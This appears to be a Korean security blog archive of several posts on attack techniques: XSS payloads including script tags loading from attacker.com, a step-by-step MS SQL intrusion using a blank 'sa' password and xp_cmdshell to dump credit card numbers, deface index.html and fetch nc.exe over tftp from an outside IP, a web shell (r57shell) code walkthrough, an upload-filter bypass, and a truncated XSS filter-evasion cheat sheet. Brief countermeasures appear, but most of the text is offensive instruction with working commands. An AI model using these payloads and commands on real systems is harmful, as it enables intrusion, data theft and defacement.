디도스 공격 툴중에 가장 많이 사용된다는 툴입니다.  아무래도 이제는 인터넷에서 구매까지 할수 있게 되다보니 공격이 더 많아 질수 있겠습니다..

이미지 출처는 네이버 검색 하였습니다. 어리석은 장난으로 디도스 공격 하지 마시기 바랍니다. 네트워크 방해와 서비스를 방해하는 것도 범죄라는 사실을 아셔야 합니다..
사용자 삽입 이미지


비슷한 관련 툴도 함께 업로드 합니다.




2011/11/12 14:52 2011/11/12 14:52
오랜만에 XSS를 검색하다가 잘 정리된 사이트를 발견하여 정리해 둡니다.

크로스 사이트 스크립팅은 매우 위험한 보안 노출로서 안전한 웹 기반 애플리케이션을 설계할 때 반드시 고려해야 한다. 이 글에서 노출의 본질과, 이것이 어떻게 영향을 미치는지를 설명하고 솔루션 전략을 소개한다.

오늘날 대부분의 웹 사이트는 동적 컨텐트를 웹 페이지에 추가하여 사용자에게 더 많은 즐거움을 선사한다. 동적 컨텐트는 몇몇 서버 프로세스에서 만들어진 컨텐트로서, 설정과 필요에 따라 다르게 작동하고 디스플레이 된다. 동적 웹 사이트는 정적 웹 사이트에는 없는 위험성도 지니고 있다. 이를 "크로스 사이트 스크립팅(cross-site scripting) "이라고 한다. 일명 "XSS"라고도 알려져 있다.

"웹 페이지는 텍스트와 HTML 마크업으로 구성된다. 이들은 서버에 의해 만들어지고 클라이언트 브라우저에 의해 인터프리팅 된다. 정적 페이지만을 만들어 내는 웹 사이트는 브라우저 사용자가 이러한 페이지들을 인터프리팅하는 방식을 완전히 제어할 수 있다. 동적 페이지를 만들어 내는 웹 사이트는 클라이언트가 아웃풋을 인터프리팅 하는 방식을 완전히 제어하지는 못한다. 신뢰할 수 없는 컨텐트가 동적 웹 페이지에 들어갈 수 있다는 것이 문제의 본질이다. 웹 사이트나 클라이언트도 이러한 현상을 인식하여 방어할 수 있는 충분한 정보가 없다." 인터넷 보안 취약성을 연구하는 CERT Coordination Center의 설명이다.

크로스 사이트 스크립팅은 공격자들에게는 이미 유명해졌다. 매월 크로스 사이트 스크립팅 공격이 상용 사이트에서 발생하고 그러한 위험성을 설명하는 경고문이 발표된다. 주의하지 않는다면 여러분의 웹 사이트나 회사도 이러한 공격의 희생양이 될 것이다.
XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 예를 들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.

글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.

웹 사이트상의 애플리케이션이 크로스 사이트 스크립팅에 취약하다고 알려지면 공격자는 공격을 구상하게 된다. 공격자가 가장 빈번하게 사용하는 기술은 공격 목표의 시스템에 공격 목표의 권한을 사용하여 실행할 수 있도록 JavaScript, VBScript, ActiveX, HTML, Flash를 투입하는 것이다. 공격이 활성화 되면 계정 하이재킹, 사용자 설정 변경, 쿠키 훔치기 및 오염, 오류 광고 등이 가능하다.


1. XSS Test

일반적인 게시판에 <script>alert("XSS")</script>라고 입력하여 XSS라는 메시지 창이 뜨면 XSS취약점이 있는 것이다.

예제1) 사용자의 쿠키값을 획득
<script>alert(document.cookie);</script>

예제2) 클릭 시 악성코드가 있는 사이트로 이동
<a href="http://test.com/test.cgi?loc=<script src='http://attacker.com/test'></script>">Click</a>

2. iframe 태그

예제1) 숨겨진 iframe를 이용해 악성코드 사이트로 이동
<iframe src=" http://attack.com" width="0" height="0" frameborder="0"></iframe>

3. object 태그

예제1) 지정한 파일이 존재하지 않을 때 악성코드 사이트로 이동하도록 함.
<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>

4. div 기법

예제1) div 태그를 사용하여 이미지 등을 삽입시킨다.
<div style="position:absolute; left:200; top:90; z-index:2;">
<img src="images/test.jpg">
</div>

5. 인코딩 기법

예제1) 공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.

원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>

6. Obfuscated 기법

예제1) 인코딩 기법과 같이 우회하기 위해 사용한다.
<script language="javascript">
e = '0x00' + '5F';
str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
str = tmp = '';

for(i=0; i<str1.length; i+=3)
{
tmp = unescape(str1.slice(i,i+3));
str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
}

document.write(str);
</script>

7. 기타우회 방법 (이 방법은 정확히 이해가 안되네)

;</script><script>alert("xss");</scr..

요약

공격자들이 크로스 사이트 스크립팅을 사용하여 웹 사이트를 공격하는 방법을 설명했다. 또한 웹 사이트가 간단한 커스텀 태그 라이브러리를 사용하여 동적 컨텐트를 암호화 하는 것으로도 이러한 공격을 줄일 수 있다는 것을 설명했다. XSS 커스텀 태그 라이브러리를 그대로 사용하거나 이를 변형하여 자신의 웹 애플리케이션에 맞출 수 있다.

관련 정보 : http://ha.ckers.org/xss.html#XSScalc




2011/09/14 01:40 2011/09/14 01:40
주제2. 1434포트 이용(SQL 포트)
------------------------------
자, 우리는 위에서 어떻게 조작된 URLs를 이용해서 데이타베이스를 깨는지를 알아봤는데,
이는 80포트(HTTP)만을 이용한것이었다. 이번에는 1434 포트를 해킹하는데 사용하도록 하겠다.
그전에 우리는 실제로 데이타베이스 서버들이 무엇이고 그들이 어떻게 작동을 하고 어떻게
또한 고녀석들을 공격할 수 있는지를 알아볼 것이다.

MS sql의 제작자들은 웹디자이너들에게 유용하게 제품을 만들 수 있도록 하기위해,
몇가지 프로시저들을 저장하는 객체들을 주었다. 이것들은 필요는 없지만 인자로 넘겨온 것들로
몇가지 수행은 할 수 있다. 이녀석들은 해커들에게 매우 중요하다. 중요한 것들은 다음과 같다.

sp_passsword -> 로그인 이름에 대한 패스워드를 변경한다.
e.g. EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’

sp_tables -> 현재 데이타베이스에 있는 모든 테이블을 보여준다.
e.g. EXEC sp_tables

xp_cmdshell -> 관리자 권한하에 임의의 시스템 명령어를 수행한다. (가장 중요함)

xp_msver -> OS에 관한 모든 정보를 포함해서 MS SQL 서버 버전을 보여준다.
e.g. master..xp_msver

xp_regdeletekey -> 레지스트리 키 값을 삭제한다.

xp_regdeletevalue -> 레지스트리 값을 삭제한다.

xp_regread -> 레지스트리 값을 읽는다.

xp_regwrite -> 레지스트리 키를 쓴다.

xp_terminate_process -> 프로세스를 중지한다.

요것들이 중요한 몇가지이다. 실제로는 50개정도가 더 있다.
만약 당신이 MS SQL 서버를 보호하고 싶다면 이런것들을 싸그리 지우길 나는 권장한다.
MS SQL 서버 엔터프라이즈 메니저를 이용해서 마스터 데이타베이스는 열려있다.
이제는 확장된 저장소를 더욱 확장시키고 단지 우측 클릭과 삭제를 이용해서 저장된 것들을
지워라. (쉽게보자면 ctrl + A 한다음에 shift + del 해라. 이런 내용 같죠?)

NOTE: Master는 SQL 서버에서 가장 중요한 데이타베이스로 로그인 이름과 시스템 프로시저등
모든 시스템 정보를 포함하고 있다. 그래서 만약 해커가 이 마스터를 지운다면 SQL 서버는
죽을것이다. Syslogins는 데이타베이스에서 사용자이름과 로그인 패스워드를 포함하는 기본적인
시스템 테이블이다.

가장 위험스리한 짓꺼리 : 마이크로소프트 SQL 서버는 기본적으로 "sa"라는 사용자 이름과 함께
공백의 패스워드를 갖고 있다. (즉 ID는 sa고 PASSWORD는 없음) 이것이 과거에 많은 MS sql서버에
포함되어 있었다. 바이러스가 이를 악용함으로써 이 취약점이 패치되었다.

아! 이제 충분해. 해킹이나 하자. 우선! 우리는 서버 취약점들을 찾아봐야할것이다.
좋은 포트 스캐너(웹에 깔렸다)를 다운받은다음에 IP를 찍고 1433/1434 (TCP나 UDP) 포트가
열려있는지를 스캐닝하자. 포트가 열려있다는 의미는 sql 서비스가 돌아간다는 얘기다.
오라클은 포트가 틀리다. 1521이다.
우리는 여기서 일단 198.188.178.1이라는 IP를 지니는 취약한 서버를 얻었다고 가정한다.
(이건 단지 예다. 실제로 공격하지 마세요)
여기서 SQL 서비스를 이용하는 방법은 매우 많다. 텔넷이나 netcat이나.
그러나 당신은 SQL 서버 2000과 함께 배를 탄 osql.exe라는 알려진 툴을 사용할 수 있다.
OK! 이제 함 해보자.

C:>osql.exe -?
osql: unknown option ?
usage: osql              [-U login id]          [-P password]
  [-S server]            [-H hostname]          [-E trusted connection]
  [-d use database name] [-l login timeout]     [-t query timeout]
  [-h headers]           [-s colseparator]      [-w columnwidth]
  [-a packetsize]        [-e echo input]        [-I Enable Quoted Identifiers]
  [-L list servers]      [-c cmdend]
  [-q "cmdline query"]   [-Q "cmdline query" and exit]
  [-n remove numbering]  [-m errorlevel]
  [-r msgs to stderr]    [-V severitylevel]
  [-i inputfile]         [-o outputfile]
  [-p print statistics]  [-b On error batch abort]
  [-O use Old ISQL behavior disables the following]
      <EOF> batch processing
      Auto console width scaling
      Wide messages
      default errorlevel is -1 vs 1
  [-? show syntax summary]

osql 툴의 도움말 화면이다. 우리가 하고픈것을 분명하게 도와준다. 쳐라.

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “”

만약 성공적으로 로그인이 된다면 우리는 무엇인가를 얻게될것이고,
그렇지 않는다면 "sa" 사용자 로그인 실패메시지를 얻게 될것이다.

이제 우리는 단지 기본적으로 저장된 "xp_cmdshell"을 이용함으로써 원격으로 명령어를 수행하길 원한다.

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “exec master..xp_cmdshell ‘dir >dir.txt’”

나는 ?q 옵션보다는 ?Q 옵션을 사용하길 바라는데 왜냐면 쿼리 실행후에 탈출하기 때문이다.
원격에서 어떤 시스템 명령어도 우리는 수행할 수 있음을 확인할 수 있다.
이제 우리는 원격에서 어떤 파일을 업로드하거나 다운로드할 수 있다. 똑똑한 공격자는 백도어를 설치해서
차후를 대비할 것이다. 내가 전에 언급했던 "information_schema.tables"를 이용함으로써
그것의 내용과 테이블 리스트를 얻을 수 있다.

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “select * from information_schema.tables”

login이나 accounts나 users나 카드같은 정보를 포함할 것 같은 테이블을 찾아봐라.

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “select * from users”

그리고

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “select username, creditcard, expdate from users”

출력물:

Username     creditcard                   expdate
-----------      ------------                   ----------
Jack              5935023473209871   2004-10-03 00:00:00.000
Jill             5839203921948323   2004-07-02 00:00:00.000
Micheal        5732009850338493   2004-08-07 00:00:00.000
Ronak          5738203981300410    2004-03-02 00:00:00.000

index.html 파일에 뭣 좀 쓸까?

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “exec master..xp_cmdshell ‘echo defaced by Chintan > C:inetpubwwwrootindex.html’”

원격 시스템에서 파일을 업로드하고 싶나?

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:nc.exe’”

그리고 다운로드 하고싶을땐 우리는 GET 대신에 PUT을 써야한다. 왜냐구?
이 명령어는 원격에서 실행되는것이지 우리것이 아니다. 그래서 만약 GET 요청을 하면 이는
원격에서 실행될것이고 우리의 머쉰에서 원격 머쉰으로 nc.exe를 다운받으려 할것이다.
(이해하셨죠? 즉 보는 관점이 공격자가 아니라 희생자 서버라는 얘기)

이게 끝이 아니다. SQL 서버의 로그인 패스워드를 해킹할 수 있는 툴들은 웹에서 쉽게 사용할 수 있다.
심지어는 많은 버퍼오버플로우가 발견되었기때문에 우리는 시스템 관리자 권한을 얻을 수도 있다.
이 기사는 단지 데이타베이스 서버에 대해서 일반적인 이슈들만을 제공한다.

Sapphire 웜을 기억하나? 이것은 1월 25일날 발표되었다. 이 웜은 SQL 서버에서 1433/1434 UDP 포트의
알려진 3가지 취약점을 이용한 것이었다.

대비책
------
<*>    기본 계정인 sa의 패스워드를 변경하라.
<*>    모든 디폴트 프로시저를 지워라.
<*>    `,",--,: 등 모든 문자를 필터해라.
<*>    패치한 날짜정보를 지켜라.
<*>    방화벽을 이용해서 MS SQL의 1433/1434 포트과 오라클 1521 포트를 막아라.

보안을 기억하는 것은 추가요소가 아니다. 관리자의 현명함에 달려있다. 해커와 관리자와의 전쟁은
계속 계속 계속 계속... 최근에 발표된 뉴스나 버그 리포트를 수집한 자가 전쟁에서 우승한다.
데이타베이스 관리에 관한 내용은 http://sqlsecurity.com 과 같은 사이트에서 접할 수 있다.

어떤 설명이나 좋은 비평을 항상 기다리고 있다.



2009/10/07 17:04 2009/10/07 17:04
==버전호환성작업======================================================
  63 if(version_compare(phpversion(), '4.1.0') == -1)
  64  {
  65  $_POST   = &$HTTP_POST_VARS;
  66  $_GET    = &$HTTP_GET_VARS;
  67  $_SERVER = &$HTTP_SERVER_VARS;
  68  }
  69 if (@get_magic_quotes_gpc())
  70  {
  71  foreach ($_POST as $k=>$v)
  72   {
  73   $_POST[$k] = stripslashes($v);
  74   }
  75  foreach ($_SERVER as $k=>$v)
  76   {
  77   $_SERVER[$k] = stripslashes($v);
  78   }
  79  }
====================================================================
대상 웹애플리케이션의 버전이 php4.1.0버전보다 낮으면 구버전과 신버전의 php 슈퍼전역변수를 매칭시킨다.
이는 버전상의 호환성을 위한 작업이다.
참고:http://php.filearena.net/manual/kr/language.variables.predefined.php

magic_quotes_gpc옵션을 확인한다.
옵션이 on이라면,
post로 받은 모든값에 stripslashes를 적용하여 magic_quotes_gpc를 무력화한다.
마찬가지로 서버변수에 stripslashes를 적용하여 magic_quotes_gpc를 무력화한다.
참고:http://php.mirror.camelnetwork.com/manual/kr/control-structures.foreach.php
참고:http://php.filearena.net/manual/kr/reserved.variables.php#reserved.variables.server
--------------------------------------------------------------------
사용함수
mixed version_compare  ( string $version1  , string $version2  [, string $operator  ] )
버전비교
첫번째인자가 두번째부다 낮으면 -1, 같으면 0 높으면 1을 리턴

string phpversion  ([ string $extension  ] )
php버전체크

int get_magic_quotes_gpc  ( void  )
php.ini의 magic_quotes_gpc세팅을 리턴한다.
옵션이 off이면 0을 리턴, on이면 1을 리턴
magic_quotes_gpc옵션은 GET,POST,COOKIE로 넘어온 ' " \ null값의 앞에 \를 붙여서 에러발생 및 sql인젝션을 방지한다.
이를 수동으로 처리하려면 addslashes()와 stripslashes()함수를 사용해야한다.

string stripslashes  ( string $str  )
quote기호 삭제

==웹쉘 사용자 인증=====================================================
  81 if($auth == 1) {
  82 if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
  83    {
  84    header('WWW-Authenticate: Basic realm="r57shell"');
  85    header('HTTP/1.0 401 Unauthorized');
  86    exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>");
  87    }
  88 }
====================================================================
$auth가 1일때,
  PHP_AUTH_USER변수가 설정되어있지 않거나 PHP_AUTH_USER값이 $name과 다르거나 PHP_AUTH_PW값이 $pass와 다르면 사용을 불허하는 기능이다.
--------------------------------------------------------------------
PHP_AUTH_USER
HTTP 인증을 사용하는 모듈로서 아파치에서 수행될때, 이 변수는 유저에 의해 제공되는 username으로 설정된다.
PHP_AUTH_PW
HTTP 인증을 사용하는 모듈로서 아파치에서 수행될때, 이 변수는 유저가 제공하는 password로 설정된다.
참고:http://php.filearena.net/manual/kr/reserved.variables.php#reserved.variables.server

to be continue



2009/08/27 11:15 2009/08/27 11:15
mb_ereg_replace()함수는 정규식을 이용해서 스트링을 변환시키는 기능을 하는데
변환된 문자열을 php코드로서 실행시키는 eval옵션을 가지고 있다.
웹쉘제작에 eval() 대신 mb_ereg_replace()를 사용할 수도 있다는 말이다.
eval()함수만 주구장창 막았다가 피보겠네..
예)
<?php
$str='p'.'h'.'p'.'i'.'n'.'f'.'o'.'('.')'.';';
mb_ereg_replace('^(.*)$', $str, 'string', 'e');?>



2009/08/27 11:15 2009/08/27 11:15
SQL쿼리로 사용되는 파라미터의 값이 중복 사용될 경우 조합되어 쿼리문으로 동작할 수 있다.

ex)
정상 요청
GET /index.asp?query=computer HTTP/1.1
동작하는 쿼리
select * from board where id=computer

HTTP Parameter Pollution
GET /index.asp?query=a&query=b&query=c HTTP/1.1
동작하는 쿼리
select * from board where id=a,b,c

쿼리가 조합될때 중간에 (,)가 삽입된다.

주석을 사용하면 (,)를 삭제할 수 있다.

GET /index.asp?query=a/*&query=*/b/*&query=*/c HTTP/1.1
동작하는 쿼리
select * from board where id=a/*,*/b/*,*/c



2009/08/27 11:14 2009/08/27 11:14

파일 업로드 취약점 이용하여 웹셀을 삽입해,제어권을 가져오는 방법에 대해 소개 하겠습니다.

 

Fileupload 취약점 이용하여 공격하기 (Webshell)

 

1. 일반 계저정으로 로그인후 게시판에 접근합니다.

2. 홈페이지 게시판에 웹셀을 업로드하여 삽입합니다.

   서버측에서 방어를 위해 확장자 검증을 한다면, 우회하여 업로드 하도록 합니다.

   *웹서버는 확장자별 실행유무를 주기 때문에 php, asp와 같은 웹 서버용 파일은 업로드를 Java를 통해 막고 있습니다.

로컬 프록시를 통해 php, asp와 같은 웹 서버용 파일 업로드 우회하기
 
paros를 통해 확장자를 기존 txt라고 하여 업로드할때 response 체크로 보내는 데이터를 잡습니다.
 그리고 실제 서버측에 보낼때에는 확장자를 잡은 데이터를 php로 다시 send를 눌려 업로드 합니다.

  *자바 스크립트나 입력값 제한으로는 클라이언트 검사이기 때문에 로컬프록시로 우회가 가능합니다.

 webshell1.png

 

3. 웹셀을 실행해여 서버의 중요 파일 및 권한을 획득하면 됩니다.

webshell2.png 


Fileupload 취약점 방어하기 (Webshell)

1. 게시판에 자바 스크립트를 실행할수 없도록 합니다. (스크립트 태그를 단순 문자로 인식하도록 구성) 

2. 파일 업로드 종류를 제한하고 제한 검사를 클라이언트가 아닌 서버에서 하도록 합니다.

문서  :




웹쉘 프로그램


Cod3rZshell (PHP 웹쉘) 소스보기->




webshell3.png

r57shell 1.24 (PHP 웹쉘) 소스보기->



webshell2.png

출처 : http://itka.kr




2009/08/26 19:23 2009/08/26 19:23

Hacking RSS and Atom Feed Implementations



RSS나 ATOM같은 XML 서비스 사용에 있어서 reader가 web based feed 라면 client역시 충분히 공격받을 수 있습니다


예) no_no_javascript Injection


<?xml version="1.0" encoding="ISO-8859-1"?> <rss version="2.0"> <channel>
<title> <script>alert('Channel Title')</script>
</title>
<link>http://www.mycoolsite.com/
</link>
<description> <script>alert('Channel Description')</script> </description>
<language>en-us
</language>
<copyright>Mr Cool 2006</copyright>
<pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate> <ttl>10</ttl> <image>
<title> <script>alert('Channel Image Title')</script>
</title>
<link>http://www.mycoolsite.com/</link>
<url>http://www.mycoolsite.com/logo.gif</url>
<width>144</width>

<height>33</height>
<description> <script>alert('Channel Image Description')</script> </description>
</image>
<item>
<title> <script>alert('Item Title')</script> </title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description> <script>alert('Item Description')</script> </description>
<pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate> <guid>http://mysite/Mrguid</guid>
</item>
</channel>
</rss>

위와같은 형태로 Javascirpt를 실행하여 불법S/W를 설치하거나, 쿠키등을 훔치게 된다


그럼 아래와 같이 만들면 어떻게 될까요?

<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0">
<channel>
<title> &lt;script&gt;alert('Channel Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/</link>
<description> &lt;script&gt;alert('Channel Description')&lt;/script&gt;
</description>
<language>en-us</language>
<copyright>Mr Cool 2006</copyright>
<pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate>

<ttl>10</ttl>
<image>
<title> &lt;script&gt;alert('Channel Image Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/</link>
<url>http://www.mycoolsite.com/logo.gif</url>
<width>144</width>
<height>33</height>
<description> &lt;script&gt;alert('Channel Image Description')&lt;/script&gt;
</description>
</image>
<item>
<title> &lt;script&gt;alert('Item Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description> &lt;script&gt;alert('Item Description')&lt;/script&gt; </description>
<pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate>
<guid>http://mysite/Mrguid</guid>
</item>
</channel>
</rss>

대부분의 RSS viewer들은 &lt;를 <로, &gt;를 >로 컨버팅한 후 content를 browser 기반의 component로 실행하기 때문에 위와 같이 변경한다 해도 스크립트는 실행되게 된다


기타 자세한 내용은 첨부파일을 참조하세요 ^^




2009/08/26 17:44 2009/08/26 17:44

다양한 XSS 방법들을 소개합니다

일반적으로 document.cookie 같은경우 대부분의 사이트에서 필터링 됩니다

이 사이트 역시 앞에 "no_"가 붙습니다

그럼 와 같은 형태는 어떻게 될까요?

아마 필터링 하기 어렵겠지요 아래예들은 이와같이 여러가지 자바스크립트들을 실행하기 위한 예들을 보여줍니다


XSS (Cross Site Scripting):

    XSS locator. Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use the URL encoding calculator below to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XSS locator 2. If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well - I'll probably revise this at a later date):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    No quotes and no semicolon:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Case insensitive XSS attack vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    HTML entities (the semicolons are required for this to work):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Malformed IMG tags. Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    fromCharCode (if no quotes of any kind are allowed you can >
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS calculator for more information:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS calculator for more information:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embedded tab to break up the cross site scripting attack:
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embeded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Null breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Null breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "">
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    No closing script tags. In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Protocol resolution in script tags. This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Double open angle brackets. This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

